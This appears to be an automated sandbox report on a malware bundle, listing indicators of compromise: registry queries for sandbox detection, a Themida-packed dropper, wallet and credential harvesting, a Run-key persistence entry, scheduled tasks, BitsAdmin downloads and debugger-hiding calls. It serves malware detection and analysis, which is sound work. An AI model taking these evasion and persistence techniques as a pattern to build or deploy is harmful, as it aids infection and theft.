redline | b41ece0fdbd279c8c8dd615981603fb4cb7052d28d26ce803fbeb0eef5ea01d2

System Information Discovery

Processes:

7022654.exeConhost.exe7046395.scr3442319.scrpowershell.exeaNMMSBZdTKoAHpyaykhyWeyi.exeFri158ea592d6f.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	7022654.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Conhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	7046395.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	3442319.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	3442319.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	powershell.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	aNMMSBZdTKoAHpyaykhyWeyi.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Fri158ea592d6f.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Fri158ea592d6f.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	7046395.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	powershell.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	7022654.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Conhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	aNMMSBZdTKoAHpyaykhyWeyi.exe

Loads dropped DLL 8 IoCs

Processes:

setup_install.exeFri1503acc0996b574.tmpsetup_2.tmpsetup_2.tmp

pid	process
4248	setup_install.exe
4248	setup_install.exe
4248	setup_install.exe
4248	setup_install.exe
4248	setup_install.exe
5344	Fri1503acc0996b574.tmp
4388	setup_2.tmp
6088	setup_2.tmp

Themida packer 4 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\7zSCF0013F0\Fri158ea592d6f.exe	themida
C:\Users\Admin\AppData\Local\Temp\7zSCF0013F0\Fri158ea592d6f.exe	themida
behavioral4/memory/4148-258-0x0000000000150000-0x0000000000151000-memory.dmp	themida
C:\Users\Admin\AppData\Roaming\3442319.scr	themida

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

6277391.scr

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe"	6277391.scr

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 7 IoCs

evasion trojan

System Information Discovery

Processes:

Fri158ea592d6f.exe3442319.scr7046395.scr7022654.exeaNMMSBZdTKoAHpyaykhyWeyi.exe7i8xIATOuGm4vRqnePGUymsZ.exe5FD4.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Fri158ea592d6f.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	3442319.scr
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	7046395.scr
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	7022654.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	aNMMSBZdTKoAHpyaykhyWeyi.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	7i8xIATOuGm4vRqnePGUymsZ.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	5FD4.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 7 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

58 ipinfo.io
102 ipinfo.io
133 ipinfo.io
1 ip-api.com
1 ipinfo.io
18 ipinfo.io
57 ipinfo.io

flow	ioc
58	ipinfo.io
102	ipinfo.io
133	ipinfo.io
1	ip-api.com
1	ipinfo.io
18	ipinfo.io
57	ipinfo.io

Suspicious use of NtSetInformationThreadHideFromDebugger 9 IoCs

Processes:

Fri158ea592d6f.exe3442319.scr7046395.scr7022654.exepowershell.exeaNMMSBZdTKoAHpyaykhyWeyi.exe5FD4.exeConhost.exe7i8xIATOuGm4vRqnePGUymsZ.exe

pid	process
4148	Fri158ea592d6f.exe
564	3442319.scr
1476	7046395.scr
5472	7022654.exe
5192	powershell.exe
4608	aNMMSBZdTKoAHpyaykhyWeyi.exe
5916	5FD4.exe
5624	Conhost.exe
6060	7i8xIATOuGm4vRqnePGUymsZ.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

Conhost.exe

description pid process target process

PID 864 set thread context of 5868 864 Conhost.exe Fri15c47a7c807b12d1.exe

description	pid	process	target process
PID 864 set thread context of 5868	864	Conhost.exe	Fri15c47a7c807b12d1.exe

Drops file in Program Files directory 10 IoCs

Processes:

OiOqa5PT_HWNQLb_bId2Eg27.exemIineUPFRLJDsATELcz6Ld8z.exesetup_2.tmp

description	ioc	process
File opened for modification	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	OiOqa5PT_HWNQLb_bId2Eg27.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\Uninstall.exe	mIineUPFRLJDsATELcz6Ld8z.exe
File created	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	setup_2.tmp
File created	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	OiOqa5PT_HWNQLb_bId2Eg27.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe	mIineUPFRLJDsATELcz6Ld8z.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\inst001.exe	mIineUPFRLJDsATELcz6Ld8z.exe
File created	C:\Program Files (x86)\Company\NewProduct\Uninstall.ini	mIineUPFRLJDsATELcz6Ld8z.exe
File created	C:\Program Files (x86)\FarLabUninstaller\is-NC33H.tmp	setup_2.tmp
File opened for modification	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	setup_2.tmp
File opened for modification	C:\Program Files (x86)\Company\NewProduct\cm3.exe	mIineUPFRLJDsATELcz6Ld8z.exe

Drops file in Windows directory 1 IoCs

Processes:

WerFault.exe

description ioc process

File created C:\Windows\AppCompat\Programs\Amcache.hve.tmp WerFault.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

description	ioc	process
File created	C:\Windows\AppCompat\Programs\Amcache.hve.tmp	WerFault.exe

Program crash 30 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
5888	3900	WerFault.exe	Fri15cf751fee90f2.exe
5972	4964	WerFault.exe	Fri15c8bd2ae6f94f.exe
5980	4612	WerFault.exe	Fri1586c2482e5c8a45.exe
6028	5240	WerFault.exe	Fri1574d7b3751ed.exe
1692	4564	WerFault.exe	Fri15d3a9f0cbde1.exe
5140	5372	WerFault.exe	Fri15517df7a88264b6.exe
1552	956	WerFault.exe	4.exe
6664	5680	WerFault.exe	udptest.exe
6720	5788	WerFault.exe	setup.exe
6980	7100	WerFault.exe	iDYNJAqXzpucJeZ1SYAQklcI.exe
6732	6188	WerFault.exe	WwEtIIEpfQEpN7CdumHf_wLf.exe
784	3020	WerFault.exe	gstR6gO2nZlM0AvwlAGfSsXX.exe
5352	5128	WerFault.exe	4JIGluA737fax2wIk1PtyGJy.exe
5200	1652	WerFault.exe	A1jDteFQv96eLkAvdO1Kl392.exe
2004	5556	WerFault.exe	3CWdA82XbW853PNjFRg4mPKV.exe
3356	4196	WerFault.exe	WfSSxZstHw8Prvu2Mnz_anci.exe
2772	2308	WerFault.exe	aI_bgubW7aNYbv3n4i8_BdcB.exe
7028	2420	WerFault.exe	IAtanBIpOoJZVWeO75ULLT8Q.exe
1472	2356	WerFault.exe	ayQ1OLz2q.exe
1956	1068	WerFault.exe	aJuD1u5lABPJGF6Wlk2qOrIW.exe
6124	4236	WerFault.exe	nY3IiuSbuJ6bbh1KPGJh34_p.exe
5768	2388	WerFault.exe	_DmGBF7Ribs7qiVvKKtfVtnk.exe
3060	2524	WerFault.exe	FF06.exe
6700	5896	WerFault.exe	F70.exe
944	1692	WerFault.exe	fbf.exe
6076	3208	WerFault.exe	SindonsWelfare_2021-09-26_15-02.exe
6636	6716	WerFault.exe	SolanumsYoghurt_2021-09-26_14-52.exe
5816	5196	WerFault.exe	GcleanerEU.exe
6124	4704	WerFault.exe	rundll32.exe
3116	3960	WerFault.exe	gcleaner.exe

Checks processor information in registry 2 TTPs 63 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

fbf.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exejhuuee.exeWerFault.exeWerFault.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	fbf.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	fbf.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	jhuuee.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	jhuuee.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	jhuuee.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	jhuuee.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	fbf.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	fbf.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	jhuuee.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	jhuuee.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	fbf.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	fbf.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	fbf.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	jhuuee.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe

Creates scheduled task(s) 1 TTPs 10 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
2356	schtasks.exe
444	schtasks.exe
2456	schtasks.exe
4004	schtasks.exe
4548	schtasks.exe
5228	schtasks.exe
1532	schtasks.exe
1860	schtasks.exe
3196	schtasks.exe
5276	schtasks.exe

Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

2416 timeout.exe
5464 timeout.exe
Download via BitsAdmin 1 TTPs 1 IoCs
dropper

BITS Jobs
T1197

Processes:

bitsadmin.exe

pid process

7108 bitsadmin.exe

pid	process
2416	timeout.exe
5464	timeout.exe

pid	process
7108	bitsadmin.exe

Enumerates system info in registry 2 TTPs 18 IoCs

Query Registry

System Information Discovery

Processes:

WerFault.exeWerFault.exeWerFault.exejhuuee.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exefbf.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	jhuuee.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	fbf.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	fbf.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	jhuuee.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe

Kills process with taskkill 3 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exe

pid process

2516 taskkill.exe
6712 taskkill.exe
6904 taskkill.exe

pid	process
2516	taskkill.exe
6712	taskkill.exe
6904	taskkill.exe

Modifies data under HKEY_USERS 40 IoCs

Processes:

sihclient.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	sihclient.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

Fri158ea592d6f.exepowershell.exeFri15364050134.exe

pid	process
4148	Fri158ea592d6f.exe
4148	Fri158ea592d6f.exe
4876	powershell.exe
4876	powershell.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe
2124	Fri15364050134.exe

Suspicious behavior: SetClipboardViewer 1 IoCs

Processes:

5051311.exe

pid process

2008 5051311.exe

pid	process
2008	5051311.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Fri155e6d4468.exepowershell.exeFri15517df7a88264b6.exeFri157e966e73fe.exeWerFault.exe8832905.scrPublicDwlBrowser1100.exe4.exeConhost.exe5571864.scrFri158ea592d6f.exe732162.exetaskkill.exeFri15c47a7c807b12d1.exeLivelyScreenRecorderF20.exeWwEtIIEpfQEpN7CdumHf_wLf.exe

description	pid	process
Token: SeDebugPrivilege	4944	Fri155e6d4468.exe
Token: SeDebugPrivilege	4876	powershell.exe
Token: SeCreateTokenPrivilege	5372	Fri15517df7a88264b6.exe
Token: SeAssignPrimaryTokenPrivilege	5372	Fri15517df7a88264b6.exe
Token: SeLockMemoryPrivilege	5372	Fri15517df7a88264b6.exe
Token: SeIncreaseQuotaPrivilege	5372	Fri15517df7a88264b6.exe
Token: SeMachineAccountPrivilege	5372	Fri15517df7a88264b6.exe
Token: SeTcbPrivilege	5372	Fri15517df7a88264b6.exe
Token: SeSecurityPrivilege	5372	Fri15517df7a88264b6.exe
Token: SeTakeOwnershipPrivilege	5372	Fri15517df7a88264b6.exe
Token: SeLoadDriverPrivilege	5372	Fri15517df7a88264b6.exe
Token: SeSystemProfilePrivilege	5372	Fri15517df7a88264b6.exe
Token: SeSystemtimePrivilege	5372	Fri15517df7a88264b6.exe
Token: SeProfSingleProcessPrivilege	5372	Fri15517df7a88264b6.exe
Token: SeIncBasePriorityPrivilege	5372	Fri15517df7a88264b6.exe
Token: SeCreatePagefilePrivilege	5372	Fri15517df7a88264b6.exe
Token: SeCreatePermanentPrivilege	5372	Fri15517df7a88264b6.exe
Token: SeBackupPrivilege	5372	Fri15517df7a88264b6.exe
Token: SeRestorePrivilege	5372	Fri15517df7a88264b6.exe
Token: SeShutdownPrivilege	5372	Fri15517df7a88264b6.exe
Token: SeDebugPrivilege	5372	Fri15517df7a88264b6.exe
Token: SeAuditPrivilege	5372	Fri15517df7a88264b6.exe
